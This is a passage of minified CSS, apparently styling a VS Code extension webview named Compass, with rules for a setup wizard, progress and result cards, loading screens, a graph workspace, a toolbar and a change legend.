20px;place-items:center;display:grid}.init-choice-radio svg{fill:#0000;width:16px}.init-choice[data-selected=true] .init-choice-radio svg{fill:var(--compass-focus);color:var(--compass-focus);stroke-width:4px}.init-choice strong,.init-choice small{display:block}.init-choice strong{color:var(--foreground);margin:1px 0 8px;font-size:13px}.init-choice small{color:var(--muted-foreground);font-size:11px;line-height:1.55}.init-facts{border:1px solid var(--compass-line);border-radius:5px;grid-template-columns:1.5fr 1fr 1fr;margin:22px 0 0;display:grid;overflow:hidden}.init-facts>div{background:var(--compass-panel);min-width:0;padding:11px 13px}@supports (color:color-mix(in lab,red,red)){.init-facts>div{background:color-mix(in srgb,var(--compass-panel) 82%,transparent)}}.init-facts>div:not(:last-child){border-right:1px solid var(--compass-line)}.init-facts dt,.init-review-row>span{color:var(--compass-faint);font:9px/1.2 var(--compass-font-mono);text-transform:uppercase}.init-facts dt{margin-bottom:4px}.init-facts dd{min-width:0;color:var(--muted-foreground);text-overflow:ellipsis;white-space:nowrap;margin:0;font-size:10px;overflow:hidden}.init-facts code,.init-review-row code{font-family:var(--compass-font-mono)}.init-fields{gap:18px}.init-fields label>span{margin-bottom:9px;display:block}.init-fields label strong,.init-fields label small{display:block}.init-fields label strong{color:var(--foreground);margin-bottom:3px;font-size:12px}.init-fields label small{color:var(--compass-faint);font-size:10px}.init-fields textarea{box-sizing:border-box;resize:vertical;border:1px solid var(--vscode-input-border,var(--compass-line));background:var(--vscode-input-background,var(--background));width:100%;min-height:142px;color:var(--vscode-input-foreground,var(--foreground));font:11px/1.6 var(--compass-font-mono);border-radius:4px;outline:none;padding:11px 12px}.init-fields textarea::placeholder{color:var(--vscode-input-placeholderForeground,var(--compass-faint))}.init-fields textarea:focus{border-color:var(--compass-focus);outline:1px solid var(--compass-focus)}.init-fields textarea:disabled{opacity:.55;cursor:not-allowed}.init-validation{color:var(--destructive);margin:12px 0 0;font-size:11px}.init-stage-actions{justify-content:space-between;align-items:center;gap:10px;margin-top:auto;padding-top:30px;display:flex}.init-button{min-height:32px;font:500 12px/1.3 var(--compass-font-sans);border:1px solid #0000;border-radius:3px;justify-content:center;align-items:center;gap:8px;padding:6px 13px;display:inline-flex}.init-button svg{width:14px;height:14px}.init-button:focus-visible{outline:2px solid var(--compass-focus);outline-offset:2px}.init-button:disabled{opacity:.45;cursor:not-allowed}.init-button-primary{border-color:var(--vscode-button-border,transparent);background:var(--vscode-button-background,var(--primary));color:var(--vscode-button-foreground,var(--primary-foreground))}.init-button-primary:not(:disabled):hover{background:var(--vscode-button-hoverBackground,var(--primary))}.init-button-secondary{border-color:var(--compass-line);background:var(--vscode-button-secondaryBackground,var(--secondary));color:var(--vscode-button-secondaryForeground,var(--secondary-foreground))}.init-button-secondary:not(:disabled):hover,.init-button-quiet:hover{border-color:var(--compass-line-strong);background:var(--workbench-hover);color:var(--foreground)}.init-button-quiet{color:var(--muted-foreground);background:0 0}.init-button-build{min-width:170px}.init-review{border:1px solid var(--compass-line);border-radius:5px;overflow:hidden}.init-review-row{border-bottom:1px solid var(--compass-line);grid-template-columns:130px minmax(0,1fr);align-items:start;min-height:42px;display:grid}.init-review-row:last-child{border-bottom:0}.init-review-row>span{background:var(--compass-panel);align-self:stretch;padding:12px 13px}@supports (color:color-mix(in lab,red,red)){.init-review-row>span{background:color-mix(in srgb,var(--compass-panel) 76%,transparent)}}.init-review-row>div{min-width:0;color:var(--foreground);padding:11px 13px;font-size:11px}.init-review-row code{overflow-wrap:anywhere;color:var(--foreground)}.init-rule-default{color:var(--muted-foreground)}.init-rule-list{flex-wrap:wrap;gap:6px;display:flex}.init-rule-list li{border:1px solid var(--compass-line);background:var(--vscode-input-background,var(--background));border-radius:3px;padding:3px 7px}.init-build-callout{border-left:2px solid var(--compass-focus);background:var(--compass-focus-soft);align-items:flex-start;gap:12px;margin-top:16px;padding:13px 15px;display:flex}.init-build-callout>svg{width:17px;color:var(--compass-focus);flex:0 0 17px}.init-build-callout strong{color:var(--foreground);margin-bottom:3px;font-size:11px;display:block}.init-build-callout p{color:var(--muted-foreground);margin:0;font-size:10px;line-height:1.45}.init-replace-confirmation{border:1px solid var(--compass-warning);align-items:flex-start;gap:10px;margin-top:10px;padding:12px 14px;display:flex}@supports (color:color-mix(in lab,red,red)){.init-replace-confirmation{border:1px solid color-mix(in srgb,var(--compass-warning) 55%,var(--compass-line))}}.init-replace-confirmation{background:var(--compass-warning);border-radius:4px}@supports (color:color-mix(in lab,red,red)){.init-replace-confirmation{background:color-mix(in srgb,var(--compass-warning) 8%,transparent)}}.init-replace-confirmation{cursor:pointer}.init-replace-confirmation input{accent-color:var(--compass-focus);margin:2px 0 0}.init-replace-confirmation strong,.init-replace-confirmation small{display:block}.init-replace-confirmation strong{color:var(--compass-warning);margin-bottom:3px;font-size:11px}.init-replace-confirmation small{color:var(--muted-foreground);font-size:10px;line-height:1.45}.init-progress-shell{flex-direction:column;display:flex}.init-progress-header{align-items:center}.init-running-badge{border:1px solid var(--compass-focus);align-items:center;gap:7px;padding:6px 10px;display:inline-flex}@supports (color:color-mix(in lab,red,red)){.init-running-badge{border:1px solid color-mix(in srgb,var(--compass-focus) 46%,var(--compass-line))}}.init-running-badge{background:var(--compass-focus-soft);color:var(--compass-focus);font:600 10px/1 var(--compass-font-mono);text-transform:uppercase;border-radius:999px}.init-running-badge svg,.init-runway li[data-state=active] .init-runway-marker svg{animation:1.2s linear infinite init-spin}.init-progress-card{box-sizing:border-box;border:1px solid var(--compass-line-strong);background:var(--vscode-editorWidget-background,var(--compass-panel));width:min(880px,100%);box-shadow:0 22px 55px var(--vscode-widget-shadow,#0000003d);border-radius:7px;margin:auto;padding:clamp(26px,5vw,48px)}.init-progress-summary{justify-content:space-between;align-items:flex-end;gap:20px;display:flex}.init-progress-summary small,.init-progress-summary strong{display:block}.init-progress-summary small{color:var(--compass-faint);font:10px/1.2 var(--compass-font-mono);letter-spacing:.08em;text-transform:uppercase;margin-bottom:7px}.init-progress-summary strong{color:var(--foreground);font-size:18px;font-weight:580}.init-progress-summary>span{color:var(--compass-focus);font:600 24px/1 var(--compass-font-mono)}.init-progress-track{background:var(--foreground);border-radius:99px;height:7px;margin:18px 0 22px;position:relative;overflow:hidden}@supports (color:color-mix(in lab,red,red)){.init-progress-track{background:color-mix(in srgb,var(--foreground) 10%,transparent)}}.init-progress-track>span{border-radius:inherit;background:var(--workbench-progress);height:100%;box-shadow:0 0 15px var(--compass-focus);display:block}@supports (color:color-mix(in lab,red,red)){.init-progress-track>span{box-shadow:0 0 15px color-mix(in srgb,var(--compass-focus) 50%,transparent)}}.init-progress-track>span{transition:width .18s ease-out}.init-progress-track>span.is-indeterminate{width:28%;animation:1.35s ease-in-out infinite init-indeterminate}.init-current-file{border:1px solid var(--compass-line);background:var(--vscode-input-background,var(--compass-canvas));border-radius:5px;align-items:center;gap:12px;min-width:0;padding:13px 15px;display:flex}.init-current-file>svg{width:16px;color:var(--compass-focus);flex:0 0 16px}.init-current-file span{min-width:0}.init-current-file small,.init-current-file code{display:block}.init-current-file small{color:var(--compass-faint);font:9px/1 var(--compass-font-mono);text-transform:uppercase;margin-bottom:4px}.init-current-file code{color:var(--foreground);font:11px/1.4 var(--compass-font-mono);text-overflow:ellipsis;white-space:nowrap;overflow:hidden}.init-runway{grid-template-columns:repeat(3,minmax(0,1fr));margin-top:30px;display:grid}.init-runway li{align-items:flex-start;gap:10px;display:flex;position:relative}.init-runway li:not(:last-child):after{background:var(--compass-line);content:"";height:1px;position:absolute;top:13px;left:27px;right:8px}.init-runway li[data-state=complete]:after{background:var(--compass-success)}@supports (color:color-mix(in lab,red,red)){.init-runway li[data-state=complete]:after{background:color-mix(in srgb,var(--compass-success) 58%,var(--compass-line))}}.init-runway-marker{z-index:1;border:1px solid var(--compass-line-strong);background:var(--compass-panel);width:26px;height:26px;color:var(--compass-faint);border-radius:50%;flex:0 0 26px;place-items:center;display:grid}.init-runway-marker svg{width:12px;height:12px}.init-runway li[data-state=complete] .init-runway-marker{border-color:var(--compass-success);color:var(--compass-success)}.init-runway li[data-state=active] .init-runway-marker{border-color:var(--compass-focus);color:var(--compass-focus);box-shadow:0 0 0 4px var(--compass-focus-soft)}.init-runway li>span:last-child{min-width:0;padding-right:20px}.init-runway strong,.init-runway small{display:block}.init-runway strong{color:var(--foreground);margin:1px 0 4px;font-size:10px}.init-runway small{color:var(--compass-faint);font-size:9px;line-height:1.35}.init-progress-footer{box-sizing:border-box;justify-content:space-between;align-items:center;gap:20px;width:min(880px,100%);margin:22px auto 0;display:flex}.init-progress-footer p{color:var(--compass-faint);margin:0;font-size:10px}.init-result-shell{place-items:center;display:grid}.init-result-card{box-sizing:border-box;border:1px solid var(--compass-line-strong);background:var(--vscode-editorWidget-background,var(--compass-panel));width:min(580px,100%);box-shadow:0 22px 55px var(--vscode-widget-shadow,#0000003d);text-align:center;border-radius:7px;padding:clamp(32px,6vw,60px)}.init-result-icon{border:1px solid;border-radius:50%;place-items:center;width:54px;height:54px;margin:0 auto 22px;display:grid}.init-result-icon svg{width:24px}.init-result-icon-success{border-color:var(--compass-success);background:var(--compass-success)}@supports (color:color-mix(in lab,red,red)){.init-result-icon-success{background:color-mix(in srgb,var(--compass-success) 10%,transparent)}}.init-result-icon-success{color:var(--compass-success)}.init-result-icon-error{border-color:var(--destructive);background:var(--destructive)}@supports (color:color-mix(in lab,red,red)){.init-result-icon-error{background:color-mix(in srgb,var(--destructive) 10%,transparent)}}.init-result-icon-error{color:var(--destructive)}.init-result-icon-cancelled{border-color:var(--compass-warning);background:var(--compass-warning)}@supports (color:color-mix(in lab,red,red)){.init-result-icon-cancelled{background:color-mix(in srgb,var(--compass-warning) 10%,transparent)}}.init-result-icon-cancelled{color:var(--compass-warning)}.init-result-card .init-eyebrow{text-align:center}.init-result-card>p:not(.init-eyebrow){margin-left:auto;margin-right:auto}.init-result-actions{flex-wrap:wrap;justify-content:center;gap:9px;margin-top:26px;display:flex}@keyframes init-spin{to{transform:rotate(360deg)}}@keyframes init-indeterminate{0%{transform:translate(-120%)}55%{transform:translate(180%)}to{transform:translate(320%)}}@media(max-width:760px){.init-shell{padding:24px 18px}.init-header,.init-progress-header{flex-direction:column;align-items:flex-start}.init-repository-badge{box-sizing:border-box;width:100%}.init-layout{grid-template-columns:1fr}.init-step-nav{border-right:0;border-bottom:1px solid var(--compass-line);padding:16px}.init-step-nav ol{grid-template-columns:repeat(3,1fr);display:grid}.init-step-nav li{padding:0}.init-step-nav li:not(:last-child):after{width:auto;height:1px;inset:15px -8px auto 38px}.init-step-nav button{flex-direction:column;align-items:flex-start}.init-step-nav button strong{font-size:10px}.init-local-note{display:none}.init-scope-grid,.init-fields,.init-facts{grid-template-columns:1fr}.init-facts>div:not(:last-child){border-right:0;border-bottom:1px solid var(--compass-line)}.init-review-row{grid-template-columns:95px minmax(0,1fr)}.init-runway{grid-template-columns:1fr;gap:13px}.init-runway li:not(:last-child):after{width:1px;height:auto;inset:26px auto -13px 13px}.init-progress-footer{flex-direction:column;align-items:flex-start}}@media(prefers-reduced-motion:reduce){.init-running-badge svg,.init-runway li[data-state=active] .init-runway-marker svg,.init-progress-track>span.is-indeterminate{animation:none}.init-progress-track>span{transition:none}}:root{color-scheme:light dark;--compass-font-sans:var(--vscode-font-family,-apple-system, BlinkMacSystemFont, "Segoe UI", sans-serif);--compass-font-mono:var(--vscode-editor-font-family,"SFMono-Regular", Consolas, monospace);--background:var(--vscode-editor-background,#0d131d);--foreground:var(--vscode-editor-foreground,#d7e1ed);--card:var(--vscode-sideBar-background,#121b28);--card-foreground:var(--vscode-sideBar-foreground,#d7e1ed);--popover:var(--vscode-menu-background,#172231);--popover-foreground:var(--vscode-menu-foreground,#d7e1ed);--primary:var(--vscode-button-background,#2f81f7);--primary-foreground:var(--vscode-button-foreground,#fff);--secondary:var(--vscode-button-secondaryBackground,#263448);--secondary-foreground:var(--vscode-button-secondaryForeground,#d7e1ed);--muted:var(--vscode-list-inactiveSelectionBackground,#1d2938);--muted-foreground:var(--vscode-descriptionForeground,#93a4b8);--accent:var(--vscode-list-activeSelectionBackground,#264f78);--accent-foreground:var(--vscode-list-activeSelectionForeground,#fff);--destructive:var(--vscode-errorForeground,#f47067);--border:var(--vscode-panel-border,#2c3a4d);--input:var(--vscode-input-border,#3b4a5e);--ring:var(--vscode-focusBorder,#4f9cf9);--radius:.625rem;--compass-canvas:var(--vscode-editor-background,#08111f);--compass-canvas-deep:var(--compass-canvas)}@supports (color:color-mix(in lab,red,red)){:root{--compass-canvas-deep:color-mix(in srgb, var(--compass-canvas) 82%, #000)}}:root{--compass-panel:var(--vscode-sideBar-background,#101b2d);--compass-panel-raised:var(--vscode-menu-background,#142236)}@supports (color:color-mix(in lab,red,red)){:root{--compass-panel-raised:color-mix(in srgb, var(--vscode-menu-background,#142236) 88%, transparent)}}:root{--compass-line:var(--vscode-panel-border,#9ab2d329);--compass-line-strong:var(--vscode-contrastBorder,#9ab2d34d);--compass-focus:var(--vscode-focusBorder,#76b7ff);--compass-focus-soft:var(--compass-focus)}@supports (color:color-mix(in lab,red,red)){:root{--compass-focus-soft:color-mix(in srgb, var(--compass-focus) 14%, transparent)}}:root{--compass-faint:var(--vscode-disabledForeground,#60728b);--compass-grid:var(--foreground)}@supports (color:color-mix(in lab,red,red)){:root{--compass-grid:color-mix(in srgb, var(--foreground) 16%, transparent)}}:root{--compass-success:var(--vscode-testing-iconPassed,#3fb950);--compass-warning:var(--vscode-editorWarning-foreground,#d29922);--sidebar:var(--vscode-sideBar-background,var(--background));--sidebar-foreground:var(--vscode-sideBar-foreground,var(--foreground));--sidebar-accent:var(--vscode-list-activeSelectionBackground,var(--accent));--sidebar-accent-foreground:var(--vscode-list-activeSelectionForeground,var(--accent-foreground));--sidebar-primary:var(--vscode-focusBorder,var(--ring));--workbench-hover:var(--vscode-list-hoverBackground,var(--foreground))}@supports (color:color-mix(in lab,red,red)){:root{--workbench-hover:var(--vscode-list-hoverBackground,color-mix(in srgb, var(--foreground) 7%, transparent))}}:root{--workbench-hover-foreground:var(--vscode-list-hoverForeground,var(--foreground));--workbench-table-header:var(--vscode-editorStickyScroll-background,var(--background));--workbench-link:var(--vscode-textLink-foreground,var(--ring));--workbench-progress:var(--vscode-progressBar-background,var(--ring))}*{border-color:var(--border)}html,body,#root,#compass-viewer-root{min-height:100%;margin:0}body{background:var(--background);color:var(--foreground);font-family:var(--compass-font-sans);overflow:hidden}button:not(:disabled),[role=button]:not(:disabled){cursor:pointer}[data-slot=button],[data-slot=input],[data-slot=tabs-list],[data-slot=tabs-trigger]{border-radius:4px}.workbench-collection-toolbar{justify-content:space-between;align-items:center;gap:10px;min-width:0;display:flex}.workbench-search{flex:1;align-items:center;min-width:180px;max-width:540px;display:flex;position:relative}.workbench-search>svg{width:14px;height:14px;color:var(--vscode-input-placeholderForeground,var(--muted-foreground));pointer-events:none;position:absolute;left:8px}.workbench-search input{border:1px solid var(--vscode-input-border,var(--border));background:var(--vscode-input-background,var(--input));width:100%;height:30px;color:var(--vscode-input-foreground,var(--foreground));font:inherit;border-radius:3px;outline:none;padding:4px 30px 4px 29px;font-size:12px}.workbench-search input::placeholder{color:var(--vscode-input-placeholderForeground,var(--muted-foreground))}.workbench-search input:focus-visible{border-color:var(--ring);outline:1px solid var(--ring);outline-offset:-1px}.workbench-search-clear{width:24px;height:24px;color:var(--muted-foreground);background:0 0;border:0;border-radius:3px;place-items:center;display:grid;position:absolute;right:3px}.workbench-search-clear:hover{background:var(--workbench-hover);color:var(--workbench-hover-foreground)}.workbench-search-clear svg{width:13px;height:13px}.workbench-result-count,.workbench-pagination-range{color:var(--muted-foreground);white-space:nowrap;font-size:11px}.workbench-pagination{justify-content:space-between;align-items:center;gap:12px;min-height:36px;padding-top:8px;display:flex}.workbench-pagination-actions{color:var(--muted-foreground);align-items:center;gap:4px;font-size:11px;display:flex}.workbench-pagination-actions button{width:26px;height:26px;color:var(--foreground);background:0 0;border:1px solid #0000;border-radius:3px;place-items:center;display:grid}.workbench-pagination-actions button:hover:not(:disabled){border-color:var(--border);background:var(--workbench-hover)}.workbench-pagination-actions button:disabled{color:var(--vscode-disabledForeground,var(--compass-faint))}.workbench-pagination-actions svg{width:14px;height:14px}.workbench-state{width:min(520px,100% - 32px);min-height:180px;color:var(--muted-foreground);text-align:center;align-content:center;place-items:center;gap:12px;margin:auto;padding:24px;display:grid}.workbench-state>svg{width:28px;height:28px}.workbench-state[data-kind=error]>svg{color:var(--destructive)}.workbench-state h2{color:var(--foreground);margin:0;font-size:14px;font-weight:600}.workbench-state p{margin:5px 0 0;font-size:12px;line-height:1.55}.workbench-button{border:1px solid var(--vscode-button-border,transparent);background:var(--vscode-button-background,var(--primary));min-height:30px;color:var(--vscode-button-foreground,var(--primary-foreground));font:inherit;border-radius:3px;padding:4px 11px;font-size:12px}.workbench-button:hover{background:var(--vscode-button-hoverBackground,var(--primary))}.workbench-button:focus-visible,.workbench-search-clear:focus-visible,.workbench-pagination-actions button:focus-visible{outline:2px solid var(--ring);outline-offset:1px}.workbench-state-spinner{animation:1s linear infinite spin}.compass-load-shell{background:radial-gradient(circle at 50% 43%,var(--compass-focus),transparent 28%),radial-gradient(circle at 68% 62%,var(--compass-success),transparent 24%),linear-gradient(145deg,var(--compass-canvas) 0%,var(--compass-canvas-deep) 100%);place-content:center;min-height:100vh;padding:40px 24px;display:grid;position:relative;overflow:hidden}@supports (color:color-mix(in lab,red,red)){.compass-load-shell{background:radial-gradient(circle at 50% 43%,color-mix(in srgb,var(--compass-focus) 16%,transparent),transparent 28%),radial-gradient(circle at 68% 62%,color-mix(in srgb,var(--compass-success) 8%,transparent),transparent 24%),linear-gradient(145deg,var(--compass-canvas) 0%,var(--compass-canvas-deep) 100%)}}.compass-load-shell{text-align:center}.compass-load-shell:before{content:"";opacity:.18;background-image:radial-gradient(var(--compass-grid) .65px,transparent .65px);pointer-events:none;background-size:24px 24px;position:absolute;inset:0}.compass-load-visual{place-items:start center;width:92px;height:88px;margin:0 auto;display:grid;position:relative}.compass-load-mark{width:58px;height:58px;color:var(--compass-focus);place-items:center;display:grid;position:relative}.compass-load-logo{filter:drop-shadow(0 10px 22px);width:54px;height:54px}@supports (color:color-mix(in lab,red,red)){.compass-load-logo{filter:drop-shadow(0 10px 22px color-mix(in srgb,currentColor 24%,transparent))}}.compass-load-logo{transform-origin:50%;animation:2.4s ease-in-out infinite compass-load-logo-breathe}.compass-load-visual[data-state=error] .compass-load-mark{border:1px solid var(--destructive);width:48px;height:48px}@supports (color:color-mix(in lab,red,red)){.compass-load-visual[data-state=error] .compass-load-mark{border:1px solid color-mix(in srgb,var(--destructive) 66%,var(--compass-line))}}.compass-load-visual[data-state=error] .compass-load-mark{color:var(--destructive);box-shadow:0 18px 48px var(--destructive);border-radius:12px}@supports (color:color-mix(in lab,red,red)){.compass-load-visual[data-state=error] .compass-load-mark{box-shadow:0 18px 48px color-mix(in srgb,var(--destructive) 20%,transparent)}}.compass-load-visual[data-state=error] .compass-load-mark svg{width:22px;height:22px}.compass-load-copy{z-index:1;width:min(620px,100vw - 48px);position:relative}.compass-load-eyebrow{color:var(--compass-focus);letter-spacing:.16em;text-transform:uppercase;margin-bottom:10px;font-size:11px;font-weight:700;display:block}.compass-load-copy h1{color:var(--foreground);letter-spacing:-.035em;margin:0;font-size:clamp(24px,4vw,38px);font-weight:650;line-height:1.08}.compass-load-steps,.compass-load-error{color:var(--muted-foreground);margin:16px auto 0;font-size:13px;line-height:1.65}.compass-load-steps{flex-wrap:wrap;justify-content:center;gap:6px;display:flex}.compass-load-steps b{color:var(--compass-focus);font-weight:700}.compass-load-error{overflow-wrap:anywhere;max-width:560px}.compass-load-actions{flex-wrap:wrap;justify-content:center;gap:10px;margin-top:22px;display:flex}.compass-load-action{border:1px solid var(--compass-line-strong);background:var(--compass-panel-raised);min-height:38px;color:var(--foreground);font:inherit;border-radius:9px;outline:none;align-items:center;gap:8px;padding:0 14px;font-size:12px;display:inline-flex}.compass-load-action:hover{border-color:var(--compass-focus);background:var(--compass-focus-soft)}.compass-load-action-primary{border-color:var(--vscode-button-background,var(--compass-focus));background:var(--vscode-button-background,var(--compass-focus));color:var(--vscode-button-foreground,#fff)}.compass-load-action-primary:hover{background:var(--vscode-button-hoverBackground,var(--compass-focus))}.compass-load-action svg{width:15px;height:15px}@keyframes compass-load-logo-breathe{50%{opacity:.72;transform:scale(.94)}}.compass-load-shell{background:var(--vscode-editor-background,var(--background));grid-template-rows:auto auto;gap:18px}.compass-load-shell:before{display:none}.compass-load-visual{width:92px;height:88px;margin:0 auto}.compass-load-mark{color:var(--vscode-symbolIcon-classForeground,var(--vscode-progressBar-background,var(--compass-focus)));box-shadow:none}.compass-load-logo{filter:drop-shadow(0 9px 20px var(--vscode-progressBar-background,var(--workbench-progress)))}@supports (color:color-mix(in lab,red,red)){.compass-load-logo{filter:drop-shadow(0 9px 20px color-mix(in srgb,var(--vscode-progressBar-background,var(--workbench-progress)) 28%,transparent))}}.compass-load-progress{background:var(--vscode-progressBar-background,var(--workbench-progress));width:96px;height:2px;position:absolute;bottom:0;left:50%;overflow:hidden;transform:translate(-50%)}@supports (color:color-mix(in lab,red,red)){.compass-load-progress{background:var(--vscode-progressBar-background,color-mix(in srgb, var(--workbench-progress) 28%, transparent))}}.compass-load-progress i{background:var(--workbench-progress);width:45%;height:100%;animation:1.4s ease-in-out infinite compass-native-progress;display:block}@keyframes compass-native-progress{0%{transform:translate(-110%)}to{transform:translate(330%)}}.compass-load-copy{width:min(520px,100vw - 40px)}.compass-load-eyebrow{color:var(--muted-foreground);letter-spacing:.08em;margin-bottom:7px;font-size:10px}.compass-load-copy h1{letter-spacing:-.015em;font-size:clamp(19px,3vw,25px);font-weight:600;line-height:1.2}.compass-load-steps,.compass-load-error{margin-top:10px;font-size:12px}.compass-load-steps{gap:8px 14px}.compass-load-step{color:var(--vscode-disabledForeground,var(--muted-foreground));align-items:center;gap:6px;display:inline-flex}.compass-load-step>i{border:1px solid;border-radius:50%;width:6px;height:6px;display:block}.compass-load-step[data-state=complete]{color:var(--vscode-descriptionForeground,var(--muted-foreground))}.compass-load-step[data-state=complete]>i{border-color:var(--vscode-progressBar-background,var(--workbench-progress));background:var(--vscode-progressBar-background,var(--workbench-progress))}.compass-load-step[data-state=active]{color:var(--vscode-editor-foreground,var(--foreground))}.compass-load-step[data-state=active]>i{border-color:var(--vscode-progressBar-background,var(--workbench-progress));background:var(--vscode-progressBar-background,var(--workbench-progress));box-shadow:0 0 7px var(--vscode-progressBar-background,var(--workbench-progress))}@supports (color:color-mix(in lab,red,red)){.compass-load-step[data-state=active]>i{box-shadow:0 0 7px color-mix(in srgb,var(--vscode-progressBar-background,var(--workbench-progress)) 46%,transparent)}}.compass-load-action{background:var(--vscode-button-secondaryBackground,var(--secondary));min-height:30px;color:var(--vscode-button-secondaryForeground,var(--secondary-foreground));border-radius:3px;padding:0 11px}.compass-load-action-primary{background:var(--vscode-button-background,var(--primary));color:var(--vscode-button-foreground,var(--primary-foreground))}.compass-load-shell[data-variant=architecture]{text-align:left;grid-template-rows:auto auto;grid-template-columns:minmax(220px,390px) minmax(280px,560px);column-gap:clamp(24px,6vw,72px)}.compass-load-shell[data-variant=architecture] .compass-load-visual{grid-column:1;margin:0}.compass-load-shell[data-variant=architecture] .compass-load-copy{grid-column:1;width:auto}.compass-load-shell[data-variant=architecture] .compass-load-steps{justify-content:flex-start}.architecture-load-skeleton{border:1px solid var(--vscode-panel-border,var(--border));background:var(--vscode-editor-background,var(--background));border-radius:4px;grid-area:1/2/span 2;grid-template-rows:54px 1fr;grid-template-columns:92px 1fr;width:min(46vw,560px);height:min(46vh,360px);display:grid;overflow:hidden}.architecture-load-skeleton span{background-image:linear-gradient(90deg,transparent,var(--foreground),transparent)}@supports (color:color-mix(in lab,red,red)){.architecture-load-skeleton span{background-image:linear-gradient(90deg,transparent,color-mix(in srgb,var(--foreground) 7%,transparent),transparent)}}.architecture-load-skeleton span{background-size:220% 100%;animation:1.8s ease-in-out infinite compass-skeleton}.architecture-load-rail{border-right:1px solid var(--border);background-color:var(--vscode-sideBar-background,var(--sidebar));grid-row:1/span 2}.architecture-load-flow{border-bottom:1px solid var(--border)}.architecture-load-content{border:1px solid var(--border);border-radius:3px;margin:14px}@keyframes compass-skeleton{to{background-position:-220% 0}}.compass-workspace{grid-template-columns:minmax(0,1fr) 8px var(--compass-inspector-width,340px);background:var(--compass-canvas);height:100vh;min-height:30rem;display:grid;overflow:hidden}.compass-workspace[data-inspector-collapsed=true]{grid-template-columns:minmax(0,1fr) 48px}.compass-graph-stage{background:radial-gradient(circle at 45% 42%,var(--compass-focus),transparent 34%),radial-gradient(circle at 76% 75%,var(--compass-success),transparent 28%),linear-gradient(145deg,var(--compass-canvas) 0%,var(--compass-canvas-deep) 100%);min-width:0;min-height:0;position:relative;overflow:hidden}@supports (color:color-mix(in lab,red,red)){.compass-graph-stage{background:radial-gradient(circle at 45% 42%,color-mix(in srgb,var(--compass-focus) 21%,transparent),transparent 34%),radial-gradient(circle at 76% 75%,color-mix(in srgb,var(--compass-success) 10%,transparent),transparent 28%),linear-gradient(145deg,var(--compass-canvas) 0%,var(--compass-canvas-deep) 100%)}}.compass-graph-stage:after{content:"";pointer-events:none;opacity:.16;background-image:radial-gradient(var(--compass-grid) .55px,transparent .55px);background-size:22px 22px;position:absolute;inset:0}.compass-graph-stage[data-comparison=true]{background:var(--vscode-editor-background,var(--compass-canvas))}.compass-graph-stage[data-comparison=true]:after{opacity:.09}.compass-canvas{z-index:1;min-width:0;min-height:0;position:absolute;inset:0}.compass-glass-panel{background:var(--vscode-editorWidget-background,var(--compass-panel));border:1px solid var(--compass-line);box-shadow:none;-webkit-backdrop-filter:none}.compass-graph-toolbar{z-index:4;border-radius:4px;justify-content:space-between;align-items:center;gap:10px;min-height:42px;padding:5px 6px 5px 10px;display:flex;position:absolute;top:12px;left:12px;right:12px}.compass-viewer-status{min-width:0;color:var(--muted-foreground);letter-spacing:.015em;align-items:center;gap:10px;font-size:12px;display:flex}.compass-viewer-status-text{text-overflow:ellipsis;white-space:nowrap;overflow:hidden}.compass-viewer-status-dot{background:var(--compass-focus);width:8px;height:8px;box-shadow:0 0 0 4px var(--compass-focus);border-radius:50%;flex:none}@supports (color:color-mix(in lab,red,red)){.compass-viewer-status-dot{box-shadow:0 0 0 4px color-mix(in srgb,var(--compass-focus) 12%,transparent)}}.compass-viewer-status[data-state=running] .compass-viewer-status-dot{animation:1.6s ease-in-out infinite compass-status-pulse}@keyframes compass-status-pulse{50%{box-shadow:0 0 0 8px color-mix(in srgb,var(--compass-focus) 0%,transparent)}}.compass-toolbar-actions{align-items:center;gap:6px;display:flex}.compass-tool-button{min-height:30px;color:var(--muted-foreground);white-space:nowrap;background:0 0;border:1px solid #0000;border-radius:3px;align-items:center;gap:7px;padding:0 8px;transition:none;display:inline-flex}.compass-tool-button svg{width:15px;height:15px}.compass-tool-button:hover,.compass-tool-button[aria-pressed=true]{border-color:var(--compass-line);background:var(--workbench-hover);color:var(--foreground)}.compass-tool-button:focus-visible,.compass-change-legend button:focus-visible,.compass-search-field input:focus-visible,.compass-search-item:focus-visible,.compass-inspector-action:focus-visible,.compass-source-card:focus-visible,.compass-inspector-disclosure:focus-visible,.compass-inspector-resizer:focus-visible,.compass-load-action:focus-visible,.compass-neighbor-link:focus-visible,.compass-community-item:focus-within,.compass-changed-symbols button:focus-visible,.compass-evidence-source-actions button:focus-visible,.compass-relationship-detail>button:focus-visible{outline:2px solid var(--compass-focus);outline-offset:2px}.compass-change-legend{z-index:4;border:1px solid var(--compass-line);background:var(--vscode-editorWidget-background,var(--compass-panel));border-radius:4px;flex-wrap:wrap;gap:5px;max-width:calc(100% - 24px);padding:5px;display:flex;position:absolute;top:64px;left:12px}.compass-change-legend button{min-height:27px;color:var(--muted-foreground);background:0 0;border:1px solid #0000;border-radius:3px;align-items:center;gap:6px;padding:3px 7px;font-size:10px;display:inline-flex}.compass-change-legend button:hover,.compass-change-legend button[aria-pressed=true]{border-color:var(--compass-line);background:var(--workbench-hover);color:var(--foreground)}.compass-change-legend button[aria-pressed=false]{opacity:.42}.compass-change-legend button>span{border:1px solid var(--vscode-descriptionForeground,#6e7781);background:var(--vscode-descriptionForeground,#6e7781);border-radius:50%;width:8px;height:8px}@supports (color:color-mix(in lab,red,red)){.compass-change-legend button>span{background:color-mix(in srgb,var(--vscode-descriptionForeground,#6e7781) 18%,var(--vscode-editor-background,var(--background)))}}.compass-change-legend button[data-change=added]>span{border-color:var(--vscode-gitDecoration-addedResourceForeground,#2ea043);background:var(--vscode-gitDecoration-addedResourceForeground,#2ea043)}@supports (color:color-mix(in lab,red,red)){.compass-change-legend button[data-change=added]>span{background:color-mix(in srgb,var(--vscode-gitDecoration-addedResourceForeground,#2ea043) 22%,var(--vscode-editor-background,var(--background)))}}.compass-change-legend button[data-change=removed]>span{border-color:var(--vscode-gitDecoration-deletedResourceForeground,#f85149);background:var(--vscode-gitDecoration-deletedResourceForeground,#f85149)}@supports (color:color-mix(in lab,red,red)){.compass-change-legend button[data-change=removed]>span{background:color-mix(in srgb,var(--vscode-gitDecoration-deletedResourceForeground,#f85149) 22%,var(--vscode-editor-background,var(--background)))}}.compass-change-legend button[data-change=changed]>span{border-color:var(--vscode-gitDecoration-modifiedResourceForeground,#d29922);background:var(--vscode-gitDecoration-modifiedResourceForeground,#d29922)}@supports (color:color-mix(in lab,red,red)){.compass-change-legend button[data-change=changed]>span{background:color-mix(in srgb,var(--vscode-gitDecoration-modifiedResourceForeground,#d29922) 22%,var(--vscode-editor-background,var(--background)))}}.compass-change-legend button 